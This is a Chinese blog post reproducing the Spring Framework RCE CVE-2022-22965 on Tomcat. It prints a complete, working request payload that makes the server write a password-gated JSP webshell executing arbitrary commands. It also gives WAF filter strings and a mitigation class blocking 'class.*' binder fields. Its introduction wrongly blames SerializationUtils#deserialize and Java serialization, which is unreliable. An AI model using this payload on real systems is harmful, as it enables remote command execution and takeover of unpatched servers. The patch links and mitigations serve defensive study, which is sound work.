CVE-2022-22965:Spring core RCE漏洞

读者需知

本文仅供学习使用,由于传播和利用此文所造成的损失均由使用者本人负责,文章作者不为此承担责任

简介

3月29日,Spring框架曝出RCE 0day漏洞。已经证实由于 SerializationUtils#deserialize 基于 Java 的序列化机制,可导致远程代码执行 (RCE),使用JDK9及以上版本皆有可能受到影响。

影响版本

Version >= JDK 9

复现步骤

本文复现环境为目标机windows10(222)

1、 环境搭建

a) 安装java9以上环境

需要添加环境变量,环境变量添加参考Java安装完成后,环境变量设置_代码_终结者的博客-CSDN博客_java安装后配置环境变量

b) 安装tomcat,并进入bin目录,双击start.bat

tomcat报错问题请参考Tomcat8如何正确进入Manager App和Host Manager页面_luffy5459的博客-CSDN博客_tomcat的manager

c) 安装war包,进入/manager/html,点击上传,并重新启动tomcat环境(war包在github可查到)

2、 启动环境

a) 进入/bin目录双击startup.bat

b) 访问8080端口即可

3、 测试

a) 进入tomcat界面抓包,并进行改包发包(注:payload出自网上一exp中)

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

b) 查看包是否上传成功

c) 在网页中输入对应payload,查看效果

风险危害

经过分析,该漏洞的主要危害是可以导致RCE命令执行,可以造成被迫执行系统命令,文件读取和反弹shell

排查建议

目前官方已经发布补丁,可升级至安全版本

https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15

1、WAF临时策略

在WAF等网络防护设备上,根据实际部署业务的流量情况,实现对

“class.*”,“Class.*”,“*.class.*”,“*.Class.*”

等字符串的规则过滤,并在部署过滤规则后,对业务允许情况进行测试,避免产生额外影响。

2、临时缓解措施

在应用系统的项目包下新建以下全局类,并保证这个类被Spring 加载到(推荐在Controller 所在的包中添加).完成类添加后,需对项目进行重新编译打包和功能验证测试。并重新发布项目。

import org.springframework.core.annotation.Order;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.InitBinder;

@ControllerAdvice
@Order(10000)
public class a{
@InitBinder
public void setAllowedFields(WebDataBinder dataBinder) {
String[] abd = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(abd);
}
}

3、spring排查检测

自查参考链接:Spring 参数绑定的分析以及甲方自查

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值